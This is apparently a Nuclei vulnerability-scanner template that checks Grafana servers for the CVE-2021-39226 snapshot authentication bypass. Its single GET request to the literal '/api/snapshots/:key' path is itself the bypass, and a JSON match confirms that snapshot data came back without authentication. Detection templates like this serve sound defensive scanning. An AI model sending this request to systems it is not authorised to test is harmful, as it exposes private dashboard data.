CVE-2021-39226.yaml

id: CVE-2021-39226

info:
  name: Grafana Snapshot Authentication Bypass
  author: dk4trin
  severity: critical
  tags: grafana,bypass

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/snapshots/:key"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"isSnapshot":true'